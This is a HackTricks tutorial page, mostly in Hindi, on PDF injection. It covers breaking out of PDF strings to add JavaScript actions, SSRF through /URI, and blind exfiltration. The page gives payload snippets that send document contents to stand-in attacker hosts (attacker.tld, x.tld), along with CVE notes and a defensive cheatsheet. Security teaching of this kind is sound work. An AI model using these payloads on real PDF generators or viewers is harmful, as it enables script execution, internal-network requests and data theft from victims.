PDF Injection
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
यदि आपका इनपुट किसी PDF फ़ाइल के अंदर रेफ़्लेक्ट हो रहा है, तो आप PDF डेटा इंजेक्ट करके JavaScript चलाने, SSRF करने या PDF की सामग्री चोरी करने की कोशिश कर सकते हैं। PDF सिन्टैक्स बेहद उदार है – अगर आप उस string या dictionary से बाहर निकल पाते हैं जो आपका इनपुट एम्बेड कर रही है, तो आप पूरी तरह नए objects (या उसी object में नए keys) जोड़ सकते हैं जिन्हें Acrobat/Chrome खुशी-खुशी पार्स कर लेंगे। Since 2024 एक लहर जैसी bug-bounty रिपोर्ट्स ने दिखाया है कि one unescaped parenthesis or back-slash is enough पूर्ण script execution के लिए।
TL;DR – आधुनिक हमला वर्कफ़्लो (2024-2026)
- कोई भी यूज़र-नियंत्रित मान खोजें जो generated PDF में (parenthesis string),
/URI ( … )या/JS ( … )फ़ील्ड के भीतर आ रही हो। - इंजेक्ट करें
)(string को बंद करते हुए), फिर नीचे दिए गए primitives में से किसी एक को लगाएँ और syntax वैध बनाए रखने के लिए एक और opening parenthesis से खत्म करें। - मैलिशियस PDF को लक्ष्य तक पहुँचाएँ (या उस backend service को जिसे फ़ाइल स्वचालित रूप से रेंडर करती है – blind bugs के लिए बेहतरीन)।
- आपका payload PDF viewer में चल जाएगा:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (see CVE-2024-4367)
- Acrobat → Full JavaScript API (can exfiltrate arbitrary file contents with
this.getPageNthWord)
Example (annotation link hijack):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
पहला ) मूल URI स्ट्रिंग को बंद कर देता है, फिर हम एक नया Action dictionary जोड़ते हैं जिसे Acrobat उपयोगकर्ता के लिंक पर क्लिक करने पर निष्पादित करेगा।
उपयोगी Injection Primitives
| लक्ष्य | Payload Snippet | नोट्स |
|---|---|---|
| JavaScript on open | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | दस्तावेज़ खुलते ही तुरंत निष्पादित होता है (Acrobat में काम करता है, Chrome में नहीं)। |
| JavaScript on link | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | यदि आप एक /Link annotation नियंत्रित करते हैं तो PDFium & Acrobat में काम करता है। |
| Blind data exfiltration | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | JS के अंदर this.getPageNthWord के साथ जोड़कर सामग्री चुरा सकते हैं। |
| Server-Side SSRF | Same as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI. | ऊपर जैसा ही, पर लक्ष्य एक internal URL रखें — तब उपयोगी जब PDF उन back-office सेवाओं द्वारा रेंडर किया जाता है जो /URI का सम्मान करती हैं। |
| Additional Actions (/AA) | /AA << /O << /S /JavaScript /JS (app.alert(1)) >> >> | एक Page/Annotation/Form dictionary से संलग्न करें ताकि यह open/focus पर चल सके। |
| Line Break for new objects | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | यदि लाइब्रेरी आपको new-line characters inject करने देती है तो आप पूरी तरह नए objects बना सकते हैं। |
एम्बेडेड Actions को Injection लक्ष्यों के रूप में
PDF viewers embedded actions जैसे /OpenAction और /AA (Additional Actions) को first-class फीचर्स की तरह मानते हैं जो दस्तावेज़ खुलने पर या किसी विशिष्ट इवेंट पर चल सकती हैं। यदि आप किसी भी dictionary में inject कर सकते हैं जो actions स्वीकार करता है (Catalog, Page, Annotation, or Form field), तो आप एक /AA tree graft कर सकते हैं और open/focus पर JavaScript trigger कर सकते हैं।
Example payload for generator-side object injection (close the original string/dictionary and inject /AA):
) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (
यह पैटर्न हाल की jsPDF समस्याओं से मेल खाता है जहाँ हमलावर द्वारा नियंत्रित इनपुट जिसे addJS (या कुछ AcroForm फ़ील्ड्स) में पास किया जाता है, इरादे किए गए JavaScript स्ट्रिंग से बाहर निकलकर एक Additional Action डिक्शनरी इंजेक्ट कर देता है।
Blind Enumeration Trick
Gareth Heyes (PortSwigger) ने एक one-liner जारी किया जो किसी अज्ञात दस्तावेज़ के भीतर प्रत्येक ऑब्जेक्ट को सूचीबद्ध करता है — उपयोगी जब आप जनरेट किया गया PDF नहीं देख सकते:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
The code iterates over the Acrobat DOM and makes outbound requests for every property/value pair, giving you a JSON-ish dump of the file. See the white-paper “Portable Data exFiltration” for the full technique.
Real-World Bugs (2023-2026)
- CVE-2026-25755 – jsPDF
addJSPDF object injection: attacker-controlled strings can close the JS literal and inject/AA→/O→/JavaScriptactions that fire on open/focus. - CVE-2024-4367 – Arbitrary JavaScript execution in Firefox’s PDF.js prior to 4.2.67 bypassed the sandbox with a crafted
/JavaScriptaction. - Bug bounty 2024-05 – Major fintech allowed customer-supplied invoice notes that landed in
/URI; report paid $10k after demonstrated SSRF to internal metadata host usingfile:///URI. - CVE-2023-26155 –
node-qpdfcommand-injection via unsanitised PDF path shows the importance of escaping backslashes and parentheses even before the PDF layer.
Defensive Cheatsheet
- कच्चे उपयोगकर्ता इनपुट को कभी
(…)स्ट्रिंग्स या नामों के अंदर जोड़ें नहीं।\,(,)को PDF spec के §7.3 के अनुसार एस्केप करें या hex strings<...>का उपयोग करें। - यदि आप links बनाते हैं, तो
/URI (https://…)का उपयोग करें जिसे आप पूरी तरह URL-encode करें; client viewers मेंjavascript:schemes को ब्लॉक करें। - PDFs को पोस्ट-प्रोसेस करते समय
/OpenAction,/AA(additional actions),/Launch,/SubmitFormऔर/ImportDatadictionaries को स्ट्रिप या validate करें। - Server-साइड पर, untrusted PDFs को एक headless converter (जैसे qpdf –decrypt –linearize) के साथ render करें जो JavaScript और external actions हटा दे।
- PDF viewers को अपडेट रखें; PDF.js < 4.2.67 और Acrobat Reader में July 2024 से पहले के पैच trivial code execution की अनुमति देते थे।
- यदि आप client-side generators (जैसे jsPDF) का उपयोग करते हैं, तो कभी भी untrusted input को
addJSया उन AcroForm setters में न पास करें जो अंततः PDF action dictionaries के अंदर पहुँचते हैं।
References
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (updated May 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
- GitLab Advisory Database, “CVE-2026-25755: jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method” (Feb 2026). https://advisories.gitlab.com/pkg/npm/jspdf/CVE-2026-25755/
- Adobe Acrobat Help, “Acrobat shows a warning message when signing documents” (Sep 2025) – embedded actions like OpenAction/AA. https://helpx.adobe.com/acrobat/kb/embedded-action-signing-warning.html
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


